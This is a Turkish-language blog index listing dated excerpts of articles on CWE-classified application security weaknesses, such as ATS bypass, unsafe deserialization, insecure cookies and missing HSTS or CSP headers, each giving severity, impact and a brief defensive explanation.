Bu yazı 20.06.2025 tarihinde, saat 16:42:52'de yazılmıştır.
App Transport Security Bypass Açıklığı (CWE-319)
Bu makalede App Transport Security Bypass (CWE-319), yani ATS Güvenliğinin Pasifleştirilmesi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Yüksek Açıklığın Etkisi: Hassas bilgilerin ele geçirilebilmesi Açıklığın Açıklaması: App Transport Security (ATS) iOS mobil uygulamalarda varsayılan olarak açık gelen, mobil uygulama ile back-end’i (arka ucu) veya mobil uygulama ile web servisleri arasında güvenli bağlantı kurmak için kullanılan bir b... [Devamı]
Bu yazı 19.10.2025 tarihinde, saat 04:30:43'de yazılmıştır.
Array Declared Public, Final and Static Açıklığı (CWE-582)
Bu makalede Array Declared Public, Final and Static (CWE-582), yani Dizilerin Public, Final ve Static Tanımlanması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Sabit dizilerin modifiye edilebilmesi Açıklığın Açıklaması: Uygulamalarda dizi nesneleri / değişkenleri public, final ve static tanımlanabilmektedir. final kullanımı umulduğu üzere dizinin modifiye edilmesini önler ama dizinin elemanlarının modifiye edilmesi... [Devamı]
Bu yazı 19.10.2025 tarihinde, saat 10:30:43'de yazılmıştır.
Cacheable HTTPS Response Açıklığı (CWE-16)
Bu makalede Cacheable HTTPS Response (CWE-16), yani Önbelleklenebilir HTTPS Yanıtı açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Son kullanıcılar sistemlerindeki web tarayıcı yazılımları aracılığıyla çeşitli web sitelerine (sunucularına) talepte bulunduklarında web sunuculardan dönen https yanıtlarını bir klasör altında toplayabilmektedirler. Örneğin eğer ziyaret edilen web sunuc... [Devamı]
Bu yazı 19.10.2025 tarihinde, saat 14:03:46'de yazılmıştır.
Cleartext Submission of Sensitive Information Açıklığı (CWE-319)
Bu makalede Cleartext Submission of Sensitive Information (CWE-319), yani Şifresiz İletişim Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Hassas bilgilerin ele geçirilebilmesi Açıklığın Açıklaması: Ağ üzerinde veri gönderme eğer iletişim kanalı güvenli bir protokolle korunmuyorsa risklidir. Özellikle güvensiz ağlara ve hotspot’lara sıklıkla bağlanan mobil cihazlar için bu durum daha da kritik öneme sahi... [Devamı]
Bu yazı 19.10.2025 tarihinde, saat 14:29:54'de yazılmıştır.
Client Hardcoded Domain Açıklığı (CWE-829)
Bu makalede Client Hardcoded Domain (CWE-829), yani Açık Bir Şekilde Alan Adı Kullanılması veya diğer bir ifadeyle Koda Alan Adı Yazılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Web uygulama güvenliğini üçüncü taraf web sunucuların güvenliğine bağımlı kılma Açıklığın Açıklaması: Javascript / CSS dosyaları HTML içerisine gömülürken uzak alan adlarından (yani external domain’lerden) dinamik olarak çekilerek k... [Devamı]
Bu yazı 19.10.2025 tarihinde, saat 15:00:13'de yazılmıştır.
Client HTML5 Store Sensitive Data in Web Storage Açıklığı (CWE-922) (CWE-312)
Bu makalede Client HTML5 Store Sensitive Data in Web Storage (CWE-922) (CWE-312), yani Hassas Verilerin LocalStorage'da Depolanması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Hassas verilerin ele geçirilebilmesi Açıklığın Açıklaması: localStorage bir HTML5 özelliğidir. İstemci tarafta veri depolamaya yarayan bir Javascript nesnesidir. Veriler key=value şeklinde token olarak istemci tarafın, yani web tarayıcının l... [Devamı]
Bu yazı 20.10.2025 tarihinde, saat 21:33:54'de yazılmıştır.
Client Insecure Randomness Açıklığı (CWE-330)
Bu makalede Client Insecure Randomness (CWE-330), yani İstemcide Kriptografik Olmayan Zayıf PRNG Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Yetkisiz Erişim Açıklığın Açıklaması: Uygulama dünyasında oturum jetonları (session token’lar), eposta doğrulama linkleri, captcha gibi birçok alanda sözde rastgele sayı üreteçleri (yani PRNG - Pseudo Random Number Generator) kullanılmaktadır. Sözde rastgele say... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 00:25:39'de yazılmıştır.
Client Use of iFrame Without Sandbox Açıklığı (CWE-829)
Bu makalede Client Use of iFrame Without Sandbox (CWE-829), yani iFrame'de Sandbox Kullanılmaması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: XSS, oltalama ve clickjacking saldırılarına karşı savunmasız kalma Açıklığın Açıklaması: iFrame ile güvenilmeyen, uzak bir kaynaktan bir web sayfaya sayfa gömmek genellikle bir mesuliyet gerektirir. Çünkü iframe ile hangi web sayfasına sayfa gömülmüşse o web sayfanın güvenl... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 01:10:34'de yazılmıştır.
Confusing Naming Açıklığı (CWE-710)
Bu makalede Confusing Naming (CWE-710), yani Kafa Karıştırıcı İsimlendirme Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenliğin sürdürülebilirliğinin azalması Açıklığın Açıklaması: Bir class (sınıf) instance variable’ının / field’ının (değişkeni) metot ismiyle aynı isme sahip olması sakıncalıdır. Field ve metotların aynı isim ile isimlendirilmesi kaynak kod okunurluğunu azaltır. Uygulama ge... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 03:43:08'de yazılmıştır.
Connection String Injection Açıklığı (CWE-99)
Bu makalede Connection String Injection (CWE-99), yani Bağlantı Dizesi Enjeksiyonu açıklığı anlatılacaktır. Açıklık Önem Derecesi: Yüksek Açıklığın Etkisi: Servis Dışı Bırakma Açıklığın Açıklaması: Uygulamalar bir veritabanı veya harici bir sunucu (örn; Active Directory) ile iletişim kurmak için dinamik bağlantı dizeleri (connection strings) oluşturabilirler. Dinamik bağlantı dizeleri girdilerin bağlantı dizelerine eklenmesiyle oluşan diz... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 03:52:25'de yazılmıştır.
CustomError Açıklığı (CWE-756)
Bu makalede CustomError (CWE-756), yani Web Uygulamaya Özel Hata Sayfası Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Web uygulamalar 404 Not Found, 400 Bad Request v.b. hata sayfalarında varsayılan hata sayfalarını yansıtmaktadırlar. Bu tarz varsayılan hata sayfalarında uygulamayla alakalı hassas veriler ifşa edilebilmektedir. Bir saldırgan bir istisnayı (exception’ı) ... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 04:19:26'de yazılmıştır.
Dead Code: Expression is Always False Açıklığı (CWE-570)
Bu makalede Dead Code: Expression is Always False (CWE-570), yani Ölü Kod: İfadenin Daima False Olması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulama güvenliğinin sürdürebilirliğini azaltma Açıklığın Açıklaması: Uygulamalarda çalışmayan, işleve sahip olmayan kodlamalar yer alabilmektedir. Bu kodlar uygulamanın kod kalitesini düşürücü etkiye sahiptir. Uygulama zamanla büyüdükçe sonradan uygulama kaynak kodl... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 05:12:03'de yazılmıştır.
Dead Code: Expression is Always True Açıklığı (CWE-571)
Bu makalede Dead Code: Expression is Always True (CWE-571), yani Ölü Kod: İfadenin Daima True Olması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulama güvenliğinin sürdürebilirliğini azaltma Açıklığın Açıklaması: Uygulamalarda çalışmayan, işleve sahip olmayan kodlamalar yer alabilmektedir. Bu kodlar uygulamanın kod kalitesini düşürücü etkiye sahiptir. Uygulama zamanla büyüdükçe sonradan uygulama kaynak kodları... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 05:24:00'de yazılmıştır.
Debug Mode Enabled Açıklığı (CWE-11)
Bu makalede Debug Mode Enabled (CWE-11), yani "DEBUG" Modunun Açık Olması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Uygulama geliştirme sırasında geliştiriciler genellikle testing (test etme) ve debugging (hata ayıklama) faaliyetlerini kolaylaştırmak için özelleştirilmiş kodlamalarda bulunurlar. Bu testing ve debugging (hata ayıklama) kodları prod ortama deploy edilirlerse (d... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 05:35:40'de yazılmıştır.
Overly Broad Catch Açıklığı (CWE-396)
Bu makalede Overly Broad Catch (CWE-396), diğer bir ifadeyle Declaration of Catch for Generic Exception (CWE-396), yani Aşırı Geniş Catch Bloğu açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenli yazılım altyapı eksikliği, Hata yönetimlerinden doğru geri besleme ve verim alamama Açıklığın Açıklaması: Programlama dillerinde çeşitli istisnalar meydana geldiğinde bu istisnaları yakalayan ve tanımlanacak işlemlerin uyg... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 07:43:14'de yazılmıştır.
Overly Broad Throws Açıklığı (CWE-397)
Bu makalede Overly Broad Throws (CWE-397), diğer bir ifadeyle Declaration of Throws for Generic Exception (CWE-397), yani Aşırı Geniş Throw Tanımlaması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenli yazılım altyapı eksikliği, Hata yönetimlerinden doğru geri besleme ve verim alamama Açıklığın Açıklaması: Programlama dillerinde metot tanımlarında (fonksiyon tanımlarında) çeşitli istisnalar meydana geldiğin... [Devamı]
Bu yazı 21.10.2025 tarihinde, saat 13:06:41'de yazılmıştır.
Deserialization of Untrusted Data Açıklığı (CWE-502)
Bu makalede Deserialization of Untrusted Data (CWE-502), yani denetlenmemiş verinin tersine serileştirilmesi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Yüksek Açıklığın Etkisi: Uzaktan kod çalıştırma Açıklığın Açıklaması: Uygulamalar ihtiyaca göre serileştirme (serialization) ve deserileştirme (deserialization) işlemini kullanabilmekteler. Uygulama kaynak kodlarındaki bir veri yapısının veya nesnenin sonradan ağ üzerinden başka bir pla... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 01:25:49'de yazılmıştır.
Detection of Error Condition without Action Açıklığı (CWE-390)
Bu makalede Detection of Error Condition without Action (CWE-390), yani Hata Yönetiminde Eylem Uygulanmaması, diğer bir ifadeyle Boş İstisna Bloğu açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenliğin sürdürülebilirliğinin azalması Açıklığın Açıklaması: Bir istisna bloğu (örn; catch veya finally bloğu) kullanıldığında eğer blok boşsa bu durum uygulamanın güvenliğini etkiler. Catch ve Finally bloklarının boş bırakılma... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 01:52:04'de yazılmıştır.
Directory Browse Açıklığı (CWE-548)
Bu makalede "Directory Browse (CWE-548)", yani Dizin Görüntüleme açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas Dosyaların İfşası Açıklığın Açıklaması: Bir web uygulama dizin listelemeye izin verdiğinde bu durum kullanıcılara uygulama içerisindeki listelenen klasörleri ve dosyaları denetleme imkanı verir. Dizin listelemeyi aktifleştirmek geliştirici ortamında kabul edilebilir olsa da prod ortamda çoğunlukla ... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 02:57:51'de yazılmıştır.
Empty Methods Açıklığı (CWE-398)
Bu makalede Empty Methods (CWE-398), yani Boş Metotlar açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenliğin sürdürülebilirliğinin azalması Açıklığın Açıklaması: Boş metot varlığı uygulamanın dikkatlice geliştirilmediğini ve bakımının yapılmadığını gösterir. Bu durum doğrudan bir güvenlik açıklığı oluşturmaz. Fakat tavsiye edilen uygulama kodlama standartlarının takip edilmediğini gösterir. Bu durum ise uygulama... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 03:05:57'de yazılmıştır.
Empty Try Blocks Açıklığı (CWE-390)
Bu makalede "Empty Try Blocks (CWE-390)", yani Boş Try Blokları açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Dayanıklılık eksikliği Açıklığın Açıklaması: Bir try-catch-finally bloğu kullanıldığında eğer try bloğu boşsa bu durum uygulamanın güvenilir şekilde çalışmasını engeller. Örneğin Java dilinde bu açıklığa sahip ve açıklığın kapatıldığı kod bloğu örnekleri verilmiştir. JAVA - Güvensiz Hal (1): ... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 03:12:00'de yazılmıştır.
Frameable Login Page Açıklığı (CWE-829)
Bu makalede "Frameable Login Page (CWE-829)", yani Frame'lenebilir Oturum Açma Sayfası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Kurum (meşru) web sitesinin login sayfası koruma bulunmamaktaysa iframe ile saldırgan web sitelerine yerleştirilebilir. Saldırgana ait web sitede iframe ile sergilenen meşru web sitenin login sayfası üzerine saldırgan yarı opak / şeffaf kullanıcı ad... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 03:20:40'de yazılmıştır.
Hardcoded Absolute Path Açıklığı (CWE-426)
Bu makalede Hardcoded Absolute Path (CWE-426), yani Açık Tam Dosya Yolu Kullanılması, diğer bir ifadeyle Koda Fiziksel Adres Girilmesi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulama güvenliğinin sürdürülebilirliğini azaltma Açıklığın Açıklaması: Açık tam dosya yolu kullanılması uygulamaları kırılgan yapar. Örneğin thick client (masaüstü) uygulamalar farklı farklı istemcilere (sistemlere/ortamlara) indirili... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 03:35:01'de yazılmıştır.
Use of Hardcoded Password Açıklığı (CWE-798) (CWE-259)
Bu makalede Use of Hardcoded Password (CWE-798) (CWE-259), yani Kodda Açık Bir Şekilde Parola Bulundurulması, diğer ifadeyle Koda Şifre Yazılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas Bilgilere Yetkisiz Erişim, Bilgi İfşası, Sızma girişimlerinde saldırının boyutunun artması Açıklığın Açıklaması: Uygulama geliştiricileri uygulama kaynak kodlarına parola bilgisi gömebilmektedirler. Bu hassas veriler ki... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 04:14:42'de yazılmıştır.
Heap Inspection Açıklığı (CWE-244)
Bu makalede Heap Inspection (CWE-244), yani Yığın Denetimi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas Bilgilere Yetkisiz Erişim, Gizlilik İhlali Açıklığın Açıklaması: Uygulamalar tarafından bellekte şifrelenmeden depolanan tüm değişkenler / nesneler kötü niyetli kullanıcılarca erişim sağlanarak elde edilebilir. Örneğin yetkili bir kötü niyetli sorumlu veya bir saldırgan çalışan process’e (işleme) bir debu... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 04:52:53'de yazılmıştır.
Improper Exception Handling Açıklığı (CWE-248)
Bu makalede Improper Exception Handling (CWE-248), yani Yakalanmamış İstisna açıklığı anlatılacatır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulamanın çökmesi, hassas verilerin ifşası, diğer beklenmedik davranışlar Açıklığın Açıklaması: Uygulamalarda zaman zaman uygulamaların normal akışını bozan istisnalar (exception'lar) meydana gelebilmektedir. Örneğin veritabanı, dosya erişimi gibi bazı işlemlerde istisnalar fırlayabilmektedir.... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 05:10:55'de yazılmıştır.
Improper Resource Shutdown or Release Açıklığı (CWE-404)
Bu makalede Improper Resource Shutdown or Release (CWE-404), yani Uygunsuz Kaynak Kapatma veya Uygunsuz Serbest Bırakma açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Servis dışı kalma Açıklığın Açıklaması: Uygulamalar kaynak kodlarındaki kodlamalara göre bellekten alanlar ayırırlar. Örneğin kaynak kodda bir eposta bağlantısı açılıyordur bir veri tabanı bağlantısı açılıyordur bir dosya açılıyordur v.... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 05:17:49'de yazılmıştır.
Missing Block Delimitation Açıklığı (CWE-483)
Bu makalede Missing Block Delimitation (CWE-483), yani blok sınırlandırma eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulama güvenliğinin sürdürülebilirliğini azaltma Açıklığın Açıklaması: Programlama dillerinin bazısında blokları sınırlandırmak adına parantezler (veya diğer sınırlandırıcılar) isteğe bağlı şekilde kullanılır. Eğer bir blokta sınırlandırıcıya yer verilmiyorsa blokta olduğu düşünülen bi... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 05:29:45'de yazılmıştır.
Information Exposure Through An Error Message Açıklığı (CWE-209)
Bu makalede Information Exposure Through An Error Message (CWE-209), yani Hata Mesajı Yoluyla Bilgi İfşası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi ifşası, Saldırı metotlarını belirlemede kolaylık sağlama Açıklığın Açıklaması: Uygulamalar bulundukları ortamlar hakkında, kullanıcıları hakkında veya uygulamanın ilişkili verileri hakkında hassas bilgiler içeren hata mesajları oluşturabilirler. Bu hassas bil... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 07:10:41'de yazılmıştır.
Information Exposure Through Comments Açıklığı (CWE-615)
Bu makalede Information Exposure through Comments) (CWE-615), yani Yorumlar Yoluyla Bilgi İfşası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi ifşası Açıklığın Açıklaması: Uygulama geliştiricileri ürünlerini geliştirirken kaynak kodlarına yorum satırları girebilirler. Bu sayede binlerce, milyonlarca yazılan kod satırlarına bir süre sonra geri döndüklerinde "Ben burada ne yapmışım?" sorusuna karşılık koda tek... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 07:27:25'de yazılmıştır.
Information Exposure Through Query String Açıklığı (CWE-598)
Bu makalede Information Exposure Through Query String (CWE-598), yani Sorgu Dizeleri Yoluyla Bilgi İfşası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi ifşası Açıklığın Açıklaması: Web uygulamalarda URL’nin GET parametresi üzerinden hassas bilgi göndermek bu bilgilerin potansiyel olarak şu konumlarda yer almasıyla sonuçlanır: son kullanıcı bilgisayarındaki web tarayıcı önbelleğinde (cache’inde)... [Devamı]
Bu yazı 23.10.2025 tarihinde, saat 08:09:02'de yazılmıştır.
Information Exposure via Server Header Açıklığı (CWE-200)
Bu makalede Information Exposure via Server Header (CWE-200), yani Server Başlığı Yoluyla Bilgi İfşası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: İsimler ve versiyon numaraları sıklıkla belirli bir teknoloji parçasının yaşam döngüsündeki belirli bir noktayı gösterir. Belirli teknolojilerin isimlerinin ve versiyon numaralarının harici kimselere ifşa edilmesi saldırganların bilin... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 00:34:58'de yazılmıştır.
Information Exposure via X- Headers Açıklığı (CWE-200)
Bu makalede Information Exposure via X- Headers) (CWE-200), yani X- ile Başlayan Başlıklar Yoluyla Bilgi İfşası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: İsimler ve versiyon numaraları sıklıkla belirli bir teknoloji parçasının yaşam döngüsündeki belirli bir noktayı gösterir. Belirli teknolojilerin isimlerinin ve versiyon numaralarının harici kimselere ifşa edilmesi saldırganla... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 01:01:09'de yazılmıştır.
Information Leak Through Shell Error Message Açıklığı (CWE-535)
Bu makalede Information Leak Through Shell Error Message Açıklığı (CWE-535), yani Kabuk Hata Mesajı Yoluyla Bilgi Sızıntısı açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Geliştiricilerin bazı zamanlar hata ayıklama veya geçici günlük kaydı tutmak için kullandıkları konsol çıktıları sıklıkla güvenli çıktı akışı açısından yanlış bir tercih olarak öne çıkmaktadır. Konsol çıktılar... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 01:11:23'de yazılmıştır.
Input Path Not Canonicalized Açıklığı (CWE-73) (CWE-36) (CWE-23) (CWE-22)
Bu makalede Input Path Not Canonicalized (CWE-73) (CWE-36) (CWE-23) (CWE-22), yani Doğrulanmamış Yol Girdisi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Hassas Dosyaların Çalınması, SSRF saldırısı düzenlenmesi Açıklığın Açıklaması: Uygulamalar tasarımı gereği bazen kullanıcı girdisi ile bir dosya yolu bilgisi alabilmektedirler. Uygulamalar bu şekilde uygulama sunucusunun yerel diskindeki dosyalara erişim imkanı su... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 01:20:07'de yazılmıştır.
Insecure Cookie Açıklığı (CWE-614)
Bu makalede Insecure Cookie (CWE-614), yani Çerez İçeriğinin Korunaksız Olması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Oturum Bilgisinin Ele Geçirilmesi Açıklığın Açıklaması: Web uygulamalarının kullanıcılara dağıttıkları çerezlerde mutlaka HttpOnly bayrağı yer almalıdır. Bu bayrak web uygulamalarında istemci tarafındaki javascript kodlarının kullanıcı çerezlerine erişimini engellemektedir. Böylece web uygula... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 01:49:03'de yazılmıştır.
Insufficient Logging of Exceptions Açıklığı (CWE-778)
Bu makalede Insufficient Logging of Exceptions (CWE-778), yani İstisnaların Yetersiz Log'lanması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenlik açıklarının saptanamaması Açıklığın Açıklaması: Uygulamalarda zaman zaman uygulamaların normal akışını bozan istisnalar (exception'lar) meydana gelebilmektedir. Güvenlik aktivitelerinden gelen istisnalar (exception'lar) meydana geldiğinde uygulama güvenliğine dönük ... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 02:04:12'de yazılmıştır.
Insufficient Logging of Sensitive Operations Açıklığı (CWE-778)
Bu makalede Insufficient Logging of Sensitive Operations (CWE-778), yani Hassas İşlemlerin Yetersiz Log'lanması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenlik açıklarının saptanamaması Açıklığın Açıklaması: Uygulamalarda oturum açma, veri tabanı bağlantısı kurma veya sorgusu çalıştırma gibi hassas işlemler gerçekleştirildiğinde bu işlemler log’lanmalıdırlar. Eğer bu v.b. hassas işlemlerin her biri log ile... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 02:11:38'de yazılmıştır.
Integer Overflow Açıklığı (CWE-190)
Bu makalede Integer Overflow (CWE-190), yani Integer Taşması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: işlevlerin uygun çalışmaması, servis dışı kalma, komut çalıştırma Açıklığın Açıklaması: Uygulamalarda kaynak kodlarda yer alabilen aritmetik işlemlerde yaşanan taşmalar veri bozulmalarına (örn; değer hesaplamalarında maksimum değerlerin minimum değer olmasına), sistemlerin çökmesine, sonsuz döngüler oluşması... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 03:03:00'de yazılmıştır.
Integer Underflow Açıklığı (CWE-191)
Bu makalede Integer Underflow (CWE-191), yani Integer Düşmesi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: işlevlerin uygun çalışmaması, servis dışı kalma, komut çalıştırma Açıklığın Açıklaması: Uygulamalarda kaynak kodlarda yer alabilen aritmetik işlemlerde yaşanan taşmalar veri bozulmalarına (örn; değer hesaplamalarında maksimum değerlerin minimum değer olmasına), sistemlerin çökmesine, sonsuz döngüler oluşmas... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 03:09:21'de yazılmıştır.
Log Forging Açıklığı (CWE-117)
Bu makalede Log Forging (CWE-117), yani Log Taklit Etme, diğer bir ifadeyle Log Enjeksiyonu açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulama verisini modifiye etme, aktiviteleri gizleme, yetkisiz kod veya komutlar çalıştırma Açıklığın Açıklaması: Uygulamalar bir hata meydana geldiğinde hata ayıklama için veya saldırı meydana geldiğinde gereken aksiyonu belirlemek için log kaydı alma mekanizmalarını kullanırl... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 03:12:57'de yazılmıştır.
Missing CSP Header Açıklığı (CWE-16)
Bu makalede Missing CSP Header (CWE-16), yani Eksik CSP Başlığı, diğer bir ifadeyle; Güncel Web Tarayıcılarda XSS Saldırılarına Karşı Koruma Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: XSS saldırılarına karşı savunmasız kalma, Clickjacking saldırılarına karşı savunmasız kalma Açıklığın Açıklaması: Content-Security-Policy yanıt başlığı güncel web tarayıcılarda XSS saldırılarını önleyen bir http güvenlik ... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 03:46:05'de yazılmıştır.
Missing CSP in Spring Açıklığı (CWE-346)
Bu makalede Missing CSP in Spring (CWE-346), yani Spring Framework'ünde CSP Kullanımı Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: XSS saldırılarına karşı savunmasız kalma, Clickjacking saldırılarına karşı savunmasız kalma Açıklığın Açıklaması: Content-Security-Policy yanıt başlığı güncel web tarayıcılarda XSS saldırılarını önleyen bir http güvenlik başlığıdır. Web tarayıcılarının görüntülediği web uy... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 04:06:09'de yazılmıştır.
Missing Default Case in Switch Statement Açıklığı (CWE-478)
Bu makalede Missing Default Case in Switch Statement (CWE-478), yani Switch İfadesinde Default Durumun Olmaması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Güvenliğin sürdürülebilirliğinin azalması Açıklığın Açıklaması: Programlama dillerinde switch ifadesi bir ifadeyi belirli sayıda duruma karşı eşleşme kıyaslamasına tabi tutma ve eşleşilen duruma dallanma, sonra da break komutu ile dallanmayı sonlandırma işlemi... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 04:18:41'de yazılmıştır.
Missing HSTS Header Açıklığı (CWE-346)
Bu makalede Missing HSTS Header (CWE-346), yani HSTS Başlığı Kullanımı Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: SSLStrip saldırılarına karşı savunmasız kalma Açıklığın Açıklaması: SSLStrip, diğer adıyla HTTPS-den-Http-ye-İndirgeme kullanıcıların web uygulamasını https üzerinden kullanması gerekirken http üzerinden kullanmasına sebep olan bir saldırı türüdür. Saldırı kabaca yerel ağdaki bir kullanıcı i... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 04:44:21'de yazılmıştır.
Missing HSTS in Spring Açıklığı (CWE-346)
Bu makalede Missing HSTS in Spring (CWE-346), Spring Framework'ünde HSTS Kullanımı Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: SSLStrip saldırılarına karşı savunmasız kalma Açıklığın Açıklaması: SSLStrip, diğer adıyla HTTPS-den-Http-ye-İndirgeme kullanıcıların web uygulamasını https üzerinden kullanması gerekirken http üzerinden kullanmasına sebep olan bir saldırı türüdür. Saldırı kabaca yerel ağdaki bir... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 05:02:19'de yazılmıştır.
Missing Jailbreak Check Açıklığı (CWE-693)
Bu makalede Missing Jailbreak Check (CWE-693), yani Jailbreak Kontrolü Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulamaya dair son kullanıcı bilgilerinin saldırganlarca elde edilebilmesi, uygulama sunucusuna kurban son kullanıcı üzerinden saldırılar yapılabilmesi Açıklığın Açıklaması: Jailbreak iOS mobil cihazların sistem güvenlik kilidinin kullanıcısı tarafından kırılarak telefona her yönüyle hükme... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 05:14:01'de yazılmıştır.
Missing or Insecure X-XSS-Protection Header Açıklığı (CWE-16)
Bu makalede Missing or Insecure X-XSS-Protection Header (CWE-16), yani Eksik veya Güvensiz X-XSS-Protection Başlığı, diğer bir ifadeyle; Eski Web Tarayıcılarda Betik Kodlarını Pasifleştirme Saldırılarına Karşı Koruma Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas bilgilere yetkisiz erişim, Uzaktan kod çalıştırma, Javascript Kod Pasifleştirme Açıklığın Açıklaması: X-XSS-Protection yanıt başlığı eski ... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 07:33:44'de yazılmıştır.
Missing Referrer-Policy Header Açıklığı (CWE-16)
